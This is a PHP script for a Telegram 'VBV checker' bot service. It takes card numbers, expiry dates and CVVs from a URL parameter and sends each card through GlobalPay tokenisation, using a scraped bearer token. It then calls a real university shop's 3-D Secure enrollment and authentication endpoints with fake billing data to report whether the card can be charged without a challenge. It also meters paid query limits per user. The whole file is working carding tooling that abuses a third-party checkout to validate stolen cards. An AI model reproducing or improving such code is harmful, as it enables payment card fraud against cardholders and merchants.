<?php

function readTokenFromFile() {
    $tokenFile = "vbvapitoken.txt";
    
    if (!file_exists($tokenFile)) {
        echo "❌ Token file not found: {$tokenFile}\n";
        echo "💡 Run globalpay_selenium_wire.py first to get a fresh token\n";
        return null;
    }
    
    try {
        $token = file_get_contents($tokenFile);
        $token = trim($token);
        
        if (empty($token)) {
            return null;
        }
        
        return $token;
    } catch (Exception $e) {
        echo "❌ Error reading token file: {$e->getMessage()}\n";
        return null;
    }
}

function generateUUID() {
    return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff), mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
}

function sendGlobalPayRequest($cardNumber, $cvv = "001", $expMonth = "12", $expYear = "29", $cardholderName = "assdd asss", $token = null) {
    if ($token === null) {
        $token = readTokenFromFile();
        if ($token === null) {
            return ["NO_TOKEN", null];
        }
    }
    
    $url = "https://apis.globalpay.com/ucp/payment-methods";
    
    $headers = [
        "accept: application/json",
        "accept-encoding: gzip, deflate, br, zstd",
        "accept-language: tr-TR,tr;q=0.6",
        "authorization: Bearer {$token}",
        "cache-control: no-cache",
        "content-type: application/json",
        "origin: https://js.globalpay.com",
        "pragma: no-cache",
        "referer: https://js.globalpay.com/",
        "sec-ch-ua: \"Chromium\";v=\"142\", \"Brave\";v=\"142\", \"Not_A Brand\";v=\"99\"",
        "sec-ch-ua-mobile: ?0",
        "sec-ch-ua-platform: \"Windows\"",
        "sec-fetch-dest: empty",
        "sec-fetch-mode: cors",
        "sec-fetch-site: same-site",
        "sec-gpc: 1",
        "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
        "x-gp-library: javascript;version=4.0.20",
        "x-gp-version: 2021-03-22"
    ];
    
    $reference = generateUUID();
    
    $payload = [
        "reference" => $reference,
        "usage_mode" => "SINGLE",
        "card" => [
            "number" => $cardNumber,
            "cvv" => $cvv,
            "expiry_month" => $expMonth,
            "expiry_year" => $expYear
        ],
        "name" => $cardholderName
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_ENCODING, "");
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($error) {
        return ["ERROR", null];
    }
    
    if ($httpCode == 200) {
        $responseData = json_decode($response, true);
        if ($responseData !== null) {
            return ["SUCCESS", $responseData];
        }
        return ["JSON_ERROR", null];
    } elseif ($httpCode == 401) {
        return ["TOKEN_EXPIRED", null];
    } elseif ($httpCode == 400) {
        $errorData = json_decode($response, true);
        if ($errorData && isset($errorData["error_code"])) {
            return [$errorData["error_code"], null];
        }
        return ["BAD_REQUEST", null];
    } else {
        return ["HTTP_{$httpCode}", null];
    }
}

function check3DSEnrollment($tokenResponse, $amount = "13.00", $currency = "GBP", $debug = false) {
    $url = "https://notjustashop.arts.ac.uk/wc-api/globalpayments_threedsecure_checkenrollment/";
    
    $headers = [
        "accept: */*",
        "accept-encoding: gzip, deflate, br, zstd",
        "accept-language: tr-TR,tr;q=0.7",
        "content-type: application/json",
        "origin: https://notjustashop.arts.ac.uk",
        "referer: https://notjustashop.arts.ac.uk/checkout/",
        "sec-ch-ua: \"Chromium\";v=\"142\", \"Brave\";v=\"142\", \"Not_A Brand\";v=\"99\"",
        "sec-ch-ua-mobile: ?0",
        "sec-ch-ua-platform: \"Windows\"",
        "sec-fetch-dest: empty",
        "sec-fetch-mode: cors",
        "sec-fetch-site: same-origin",
        "sec-gpc: 1",
        "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
    ];
    
    $payload = [
        "tokenResponse" => $tokenResponse,
        "order" => [
            "id" => 0,
            "amount" => $amount,
            "currency" => $currency
        ]
    ];
    
    if ($debug) {
        echo "[DEBUG] === check3DSEnrollment Request ===\n";
        echo "[DEBUG] URL: {$url}\n";
        echo "[DEBUG] Payload: " . json_encode($payload, JSON_PRETTY_PRINT) . "\n";
        echo "[DEBUG] ====================================\n";
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_ENCODING, "");
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($debug) {
        echo "[DEBUG] === check3DSEnrollment Response ===\n";
        echo "[DEBUG] HTTP Code: {$httpCode}\n";
        if ($error) {
            echo "[DEBUG] cURL Error: {$error}\n";
        }
        echo "[DEBUG] Response Body: {$response}\n";
        echo "[DEBUG] =====================================\n";
    }
    
    if ($error) {
        return ["ERROR", null, $response];
    }
    
    if ($httpCode == 200) {
        $responseData = json_decode($response, true);
        if ($responseData !== null) {
            return ["SUCCESS", $responseData, $response];
        }
        return ["JSON_ERROR", null, $response];
    } else {
        return ["HTTP_{$httpCode}", null, $response];
    }
}

function initiateAuthentication($tokenResponse, $versionCheckData, $amount = "13.00", $currency = "GBP", 
                                $billingInfo = null, $shippingInfo = null, $email = "asd2187safas89@asdasd.com", $debug = false) {
    $url = "https://notjustashop.arts.ac.uk/wc-api/globalpayments_threedsecure_initiateauthentication/";
    
    $headers = [
        "accept: */*",
        "accept-encoding: gzip, deflate, br, zstd",
        "accept-language: tr-TR,tr;q=0.7",
        "content-type: application/json",
        "origin: https://notjustashop.arts.ac.uk",
        "referer: https://notjustashop.arts.ac.uk/checkout/",
        "sec-ch-ua: \"Chromium\";v=\"142\", \"Brave\";v=\"142\", \"Not_A Brand\";v=\"99\"",
        "sec-ch-ua-mobile: ?0",
        "sec-ch-ua-platform: \"Windows\"",
        "sec-fetch-dest: empty",
        "sec-fetch-mode: cors",
        "sec-fetch-site: same-origin",
        "sec-gpc: 1",
        "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
    ];
    
    if ($billingInfo === null) {
        $billingInfo = [
            "streetAddress1" => "asd12 8as8da s98dasd 9asd",
            "streetAddress2" => "",
            "city" => "asdasd",
            "state" => "",
            "postalCode" => "WC1V 7EY",
            "country" => "GB"
        ];
    }
    
    if ($shippingInfo === null) {
        $shippingInfo = [
            "streetAddress1" => "asd12 8as8da s98dasd 9asd",
            "streetAddress2" => "",
            "city" => "asdasd",
            "state" => "",
            "postalCode" => "WC1V 7EY",
            "country" => "GB"
        ];
    }
    
    $currentTime = gmdate('Y-m-d\TH:i:s.v\Z');
    
    $payload = [
        "tokenResponse" => $tokenResponse,
        "versionCheckData" => $versionCheckData,
        "challengeWindow" => [
            "windowSize" => "WINDOWED_500X600",
            "displayMode" => "lightbox"
        ],
        "order" => [
            "id" => 0,
            "amount" => $amount,
            "currency" => $currency,
            "billingAddress" => $billingInfo,
            "shippingAddress" => $shippingInfo,
            "addressMatchIndicator" => true,
            "customerEmail" => $email
        ],
        "authenticationSource" => "BROWSER",
        "authenticationRequestType" => "PAYMENT_TRANSACTION",
        "messageCategory" => "PAYMENT_AUTHENTICATION",
        "challengeRequestIndicator" => "NO_PREFERENCE",
        "browserData" => [
            "colorDepth" => "TWENTY_FOUR_BITS",
            "javaEnabled" => false,
            "javascriptEnabled" => true,
            "language" => "tr-TR",
            "screenHeight" => 1080,
            "screenWidth" => 1920,
            "time" => $currentTime,
            "timezoneOffset" => -3,
            "userAgent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
        ]
    ];
    
    if ($debug) {
        echo "[DEBUG] === initiateAuthentication Request ===\n";
        echo "[DEBUG] URL: {$url}\n";
        echo "[DEBUG] Payload: " . json_encode($payload, JSON_PRETTY_PRINT) . "\n";
        echo "[DEBUG] ========================================\n";
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_ENCODING, "");
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($debug) {
        echo "[DEBUG] === initiateAuthentication Response ===\n";
        echo "[DEBUG] HTTP Code: {$httpCode}\n";
        if ($error) {
            echo "[DEBUG] cURL Error: {$error}\n";
        }
        echo "[DEBUG] Response Body: {$response}\n";
        echo "[DEBUG] =========================================\n";
    }
    
    if ($error) {
        return ["ERROR", null, $response];
    }
    
    if ($httpCode == 200) {
        $responseData = json_decode($response, true);
        if ($responseData !== null) {
            return ["SUCCESS", $responseData, $response];
        }
        return ["JSON_ERROR", null, $response];
    } else {
        return ["HTTP_{$httpCode}", null, $response];
    }
}

// Database connection
function getDbConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host={$host};dbname={$dbname};charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch (PDOException $e) {
        return null;
    }
}

function checkAndDecrementLimit($chatId) {
    $pdo = getDbConnection();
    if (!$pdo) {
        return ["error" => "Database connection failed", "limit" => 0];
    }
    
    try {
        // Get current vbvlimit
        $stmt = $pdo->prepare("SELECT vbvlimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatId]);
        $user = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if (!$user) {
            return ["error" => "User not found", "limit" => 0];
        }
        
        $currentLimit = (int)$user['vbvlimit'];
        
        if ($currentLimit <= 0) {
            return ["error" => "No vbv limit remaining", "limit" => 0];
        }
        
        // Decrement limit
        $newLimit = $currentLimit - 1;
        $stmt = $pdo->prepare("UPDATE users SET vbvlimit = :newlimit WHERE chatid = :chatid");
        $stmt->execute(['newlimit' => $newLimit, 'chatid' => $chatId]);
        
        return ["success" => true, "limit" => $newLimit];
        
    } catch (PDOException $e) {
        return ["error" => "Database error: " . $e->getMessage(), "limit" => 0];
    }
}

// Main execution
// Get card info from URL parameter
// Format: ?card=5430811586252701|08|28|217&chatid=12312123&debug=1
if (!isset($_GET['card'])) {
    echo "ERROR: No card parameter provided\n";
    echo "Usage: ?card=CARDNUMBER|MONTH|YEAR|CVV&chatid=CHATID&debug=1\n";
    exit;
}

if (!isset($_GET['chatid'])) {
    echo "ERROR: No chatid parameter provided\n";
    echo "Usage: ?card=CARDNUMBER|MONTH|YEAR|CVV&chatid=CHATID&debug=1\n";
    exit;
}

$cardParam = $_GET['card'];
$chatId = $_GET['chatid'];
$debug = isset($_GET['debug']) && $_GET['debug'] == '1';

$cardParts = explode('|', $cardParam);

// Format kontrolü: 4 parça olmalı (CARD|MM|YY|CVV)
if (count($cardParts) != 4) {
    echo "ERROR: Invalid card format. Use: CARD|MM|YY|CVV\n";
    exit;
}

$testCard = trim($cardParts[0]);
$testMonth = trim($cardParts[1]);
$testYear = trim($cardParts[2]);
$testCvv = trim($cardParts[3]);

// 1. Kart numarası kontrolü: Tam 16 hane olmalı
if (!preg_match('/^\d{16}$/', $testCard)) {
    echo "ERROR: Card number must be exactly 16 digits\n";
    exit;
}

// 2. Ay kontrolü: 01-12 arası olmalı
if (!preg_match('/^(0[1-9]|1[0-2])$/', $testMonth)) {
    echo "ERROR: Month must be between 01 and 12\n";
    exit;
}

// 3. Yıl kontrolü: 2 veya 4 hane
if (strlen($testYear) == 2) {
    // 2 haneli format (örn: 27)
    if (!preg_match('/^\d{2}$/', $testYear)) {
        echo "ERROR: Year must be 2 or 4 digits\n";
        exit;
    }
    // 2 haneli yılı kullan (API için)
} elseif (strlen($testYear) == 4) {
    // 4 haneli format (örn: 2027)
    if (!preg_match('/^20\d{2}$/', $testYear)) {
        echo "ERROR: 4-digit year must start with 20 (e.g., 2027)\n";
        exit;
    }
    // Son 2 haneyi al (2027 -> 27)
    $testYear = substr($testYear, 2, 2);
} else {
    echo "ERROR: Year must be 2 or 4 digits\n";
    exit;
}

// 4. CVV kontrolü: Tam 3 hane olmalı ve 000 olamaz
if (!preg_match('/^\d{3}$/', $testCvv)) {
    echo "ERROR: CVV must be exactly 3 digits\n";
    exit;
}

if ($testCvv === '000') {
    echo "GEN YASAK\n";
    exit;
}

// Check and decrement limit
$limitResult = checkAndDecrementLimit($chatId);
if (isset($limitResult['error'])) {
    echo "ERROR: {$limitResult['error']}\n";
    exit;
}

$testName = "asd saasdads";

// Start timing
$startTime = microtime(true);

if ($debug) {
    echo "[DEBUG] ========== VBV CHECK START ==========\n";
    echo "[DEBUG] Chat ID: {$chatId}\n";
    echo "[DEBUG] Card: {$testCard}|{$testMonth}|{$testYear}|{$testCvv}\n";
    echo "[DEBUG] Limit after decrement: {$limitResult['limit']}\n";
    echo "[DEBUG] ====================================\n\n";
}

list($result, $data) = sendGlobalPayRequest($testCard, $testCvv, $testMonth, $testYear, $testName);

// TOKEN_EXPIRED kontrolü - otomatik yenileme
if ($result === "TOKEN_EXPIRED") {
    echo "⚠️ TOKEN EXPIRED - Auto-refreshing...\n";
    
    // Python script'i çalıştır
    $scriptPath = __DIR__ . "/vbvtokenyenile.py";
    $command = "python3 " . escapeshellarg($scriptPath) . " 2>&1";
    
    echo "[INFO] Running token refresh script...\n";
    $output = shell_exec($command);
    
    if (strpos($output, "[DONE] Process completed successfully!") !== false) {
        echo "✅ Token refreshed successfully!\n";
        
        // Super admin'e bildir
        $superAdminId = "7242711752";
        $message = "🔄 VBV API Token Auto-Refresh\n\n";
        $message .= "✅ Token expired and was automatically refreshed\n";
        $message .= "📍 Triggered by: Chat ID {$chatId}\n";
        $message .= "🕒 Time: " . date('Y-m-d H:i:s');
        
        $telegramUrl = "https://api.telegram.org/bot" . getenv('BOT_TOKEN') . "/sendMessage";
        $telegramData = [
            'chat_id' => $superAdminId,
            'text' => $message,
            'parse_mode' => 'HTML'
        ];
        
        $ch = curl_init($telegramUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($telegramData));
        curl_exec($ch);
        curl_close($ch);
        
        // Yeni token ile tekrar dene
        list($result, $data) = sendGlobalPayRequest($testCard, $testCvv, $testMonth, $testYear, $testName);
    } else {
        echo "❌ Token refresh failed!\n";
        echo "ERROR: Could not refresh VBV token automatically\n";
        
        // Super admin'e hata bildir
        $superAdminId = "7242711752";
        $message = "❌ VBV API Token Refresh FAILED\n\n";
        $message .= "⚠️ Automatic token refresh failed\n";
        $message .= "📍 Triggered by: Chat ID {$chatId}\n";
        $message .= "🕒 Time: " . date('Y-m-d H:i:s') . "\n\n";
        $message .= "Please refresh token manually using /vbvtokenyenile command";
        
        $telegramUrl = "https://api.telegram.org/bot" . getenv('BOT_TOKEN') . "/sendMessage";
        $telegramData = [
            'chat_id' => $superAdminId,
            'text' => $message,
            'parse_mode' => 'HTML'
        ];
        
        $ch = curl_init($telegramUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($telegramData));
        curl_exec($ch);
        curl_close($ch);
        
        exit;
    }
}

if ($debug) {
    echo "[DEBUG] === STEP 1: GlobalPay Token Request ===\n";
    echo "[DEBUG] Result: {$result}\n";
    if ($data) {
        echo "[DEBUG] Response: " . json_encode($data, JSON_PRETTY_PRINT) . "\n";
    } else {
        echo "[DEBUG] No data received\n";
    }
    echo "[DEBUG] =======================================\n\n";
}

if ($data) {
    // Step 2: Check 3DS enrollment
    // Build the correct format from GlobalPay response
    
    $cardInfo = isset($data["card"]) ? $data["card"] : [];
    $maskedNumber = isset($cardInfo["masked_number_last4"]) ? $cardInfo["masked_number_last4"] : "";
    $cardBrand = isset($cardInfo["brand"]) ? strtolower($cardInfo["brand"]) : "";
    
    // Get last 4 digits
    $last4 = strlen($maskedNumber) >= 4 ? substr($maskedNumber, -4) : "0000";
    // Get BIN (first 6 digits of original card)
    $cardBin = substr($testCard, 0, 6);
    
    // Build the details object matching the expected format
    $details = [
        "accountId" => isset($data["account_id"]) ? $data["account_id"] : "",
        "accountName" => isset($data["account_name"]) ? $data["account_name"] : "",
        "merchantId" => isset($data["merchant_id"]) ? $data["merchant_id"] : "",
        "merchantName" => isset($data["merchant_name"]) ? $data["merchant_name"] : "",
        "reference" => isset($data["reference"]) ? $data["reference"] : "",
        "cardNumber" => "{$cardBin}******{$last4}",
        "cardType" => $cardBrand,
        "cardBin" => $cardBin,
        "cardLast4" => $last4,
        "cardSecurityCode" => true,
        "expiryMonth" => $testMonth,
        "expiryYear" => "20" . $testYear,
        "cardholderName" => $testName
    ];
    
    // Build the tokenResponse object
    $tokenObj = [
        "details" => $details,
        "paymentReference" => isset($data["id"]) ? $data["id"] : ""
    ];
    
    // Convert to JSON string (as expected by the API)
    $tokenResponse = json_encode($tokenObj);
    
    if ($debug) {
        echo "[DEBUG] === Token Response Built ===\n";
        echo "[DEBUG] " . json_encode($tokenObj, JSON_PRETTY_PRINT) . "\n";
        echo "[DEBUG] ============================\n\n";
    }
    
    list($result3ds, $data3ds, $raw3ds) = check3DSEnrollment($tokenResponse, "13.00", "GBP", $debug);
    
    if ($debug) {
        echo "[DEBUG] === STEP 2: 3DS Enrollment Check ===\n";
        echo "[DEBUG] Result: {$result3ds}\n";
        if ($data3ds) {
            echo "[DEBUG] Response: " . json_encode($data3ds, JSON_PRETTY_PRINT) . "\n";
        } else {
            echo "[DEBUG] No data received\n";
            if ($raw3ds) {
                echo "[DEBUG] Raw response: {$raw3ds}\n";
            }
        }
        echo "[DEBUG] =======================================\n\n";
    }
    
    // Check if enrollment check returned an error
    if ($data3ds && isset($data3ds['error']) && $data3ds['error'] === true) {
        $endTime = microtime(true);
        $elapsedTime = round($endTime - $startTime, 2);
        
        $errorMsg = isset($data3ds['message']) ? $data3ds['message'] : 'Unknown enrollment error';
        
        if ($debug) {
            echo "[DEBUG] === ERROR in 3DS Enrollment ===\n";
            echo "[DEBUG] Error Message: {$errorMsg}\n";
            echo "[DEBUG] ==================================\n\n";
        }
        
        echo "ENROLLMENT_ERROR | {$cardParam} ({$elapsedTime}s) 𝐋𝐢𝐦𝐢𝐭𝐬:{$limitResult['limit']} 𝐕𝐛𝐯𝐂𝐡𝐞𝐜𝐤 𝐁𝐘 @aerithiacheck3r_bot\n";
        echo "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        echo "⚠️  ENROLLMENT CHECK ERROR:\n";
        echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        echo "{$errorMsg}\n";
        echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        exit;
    }
    
    if ($data3ds) {
        // Step 3: Initiate Authentication
        list($resultAuth, $dataAuth, $rawAuth) = initiateAuthentication($tokenResponse, $data3ds, "13.00", "GBP", null, null, "asd2187safas89@asdasd.com", $debug);
        
        if ($debug) {
            echo "[DEBUG] === STEP 3: Initiate Authentication ===\n";
            echo "[DEBUG] Result: {$resultAuth}\n";
            if ($dataAuth) {
                echo "[DEBUG] Response: " . json_encode($dataAuth, JSON_PRETTY_PRINT) . "\n";
            } else {
                echo "[DEBUG] No data received\n";
                if ($rawAuth) {
                    echo "[DEBUG] Raw response: {$rawAuth}\n";
                }
            }
            echo "[DEBUG] =======================================\n\n";
        }
        
        if ($dataAuth) {
            // Check if there's a status field (like CHALLENGE_REQUIRED)
            if (isset($dataAuth["status"])) {
                $statusResult = $dataAuth["status"];
            } else {
                // Otherwise show the result field
                $statusResult = isset($dataAuth["result"]) ? $dataAuth["result"] : "UNKNOWN";
            }
            
            // Calculate elapsed time
            $endTime = microtime(true);
            $elapsedTime = round($endTime - $startTime, 2);
            
            if ($debug) {
                echo "[DEBUG] === FINAL RESULT ===\n";
                echo "[DEBUG] Status: {$statusResult}\n";
                echo "[DEBUG] Elapsed Time: {$elapsedTime}s\n";
                echo "[DEBUG] Remaining Limit: {$limitResult['limit']}\n";
                echo "[DEBUG] ====================\n\n";
            }
            
            // Output format: FAILED | 5430811586252701|08|28|217 (5.14s) Limits:99 𝐕𝐛𝐯𝐂𝐡𝐞𝐜𝐤 𝐁𝐘 @aerithiacheck3r_bot
            echo "{$statusResult} | {$cardParam} ({$elapsedTime}s) 𝐋𝐢𝐦𝐢𝐭𝐬:{$limitResult['limit']} 𝐕𝐛𝐯𝐂𝐡𝐞𝐜𝐤 𝐁𝐘 @aerithiacheck3r_bot\n";
            
            // If UNKNOWN status, show detailed API response for debugging
            if ($statusResult === "UNKNOWN") {
                echo "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
                echo "🔍 DETAILED API RESPONSE (UNKNOWN STATUS):\n";
                echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
                echo json_encode($dataAuth, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE) . "\n";
                echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
            }
        } else {
            $endTime = microtime(true);
            $elapsedTime = round($endTime - $startTime, 2);
            
            if ($debug) {
                echo "[DEBUG] === ERROR: No auth data ===\n";
                echo "[DEBUG] Result from initiateAuthentication: {$resultAuth}\n";
                echo "[DEBUG] ==============================\n\n";
            }
            
            echo "ERROR | {$cardParam} ({$elapsedTime}s) 𝐋𝐢𝐦𝐢𝐭𝐬:{$limitResult['limit']} 𝐕𝐛𝐯𝐂𝐡𝐞𝐜𝐤 𝐁𝐘 @aerithiacheck3r_bot\n";
        }
    } else {
        $endTime = microtime(true);
        $elapsedTime = round($endTime - $startTime, 2);
        
        if ($debug) {
            echo "[DEBUG] === ERROR: No 3DS enrollment data ===\n";
            echo "[DEBUG] Result from check3DSEnrollment: {$result3ds}\n";
            echo "[DEBUG] ====================================\n\n";
        }
        
        echo "ERROR | {$cardParam} ({$elapsedTime}s) 𝐋𝐢𝐦𝐢𝐭𝐬:{$limitResult['limit']} 𝐕𝐛𝐯𝐂𝐡𝐞𝐜𝐤 𝐁𝐘 @aerithiacheck3r_bot\n";
    }
} else {
    $endTime = microtime(true);
    $elapsedTime = round($endTime - $startTime, 2);
    
    if ($debug) {
        echo "[DEBUG] === ERROR: No GlobalPay token data ===\n";
        echo "[DEBUG] Result from sendGlobalPayRequest: {$result}\n";
        echo "[DEBUG] ====================================\n\n";
    }
    
    echo "{$result} | {$cardParam} ({$elapsedTime}s) 𝐋𝐢𝐦𝐢𝐭𝐬:{$limitResult['limit']} 𝐕𝐛𝐯𝐂𝐡𝐞𝐜𝐤 𝐁𝐘 @aerithiacheck3r_bot\n";
}

?>
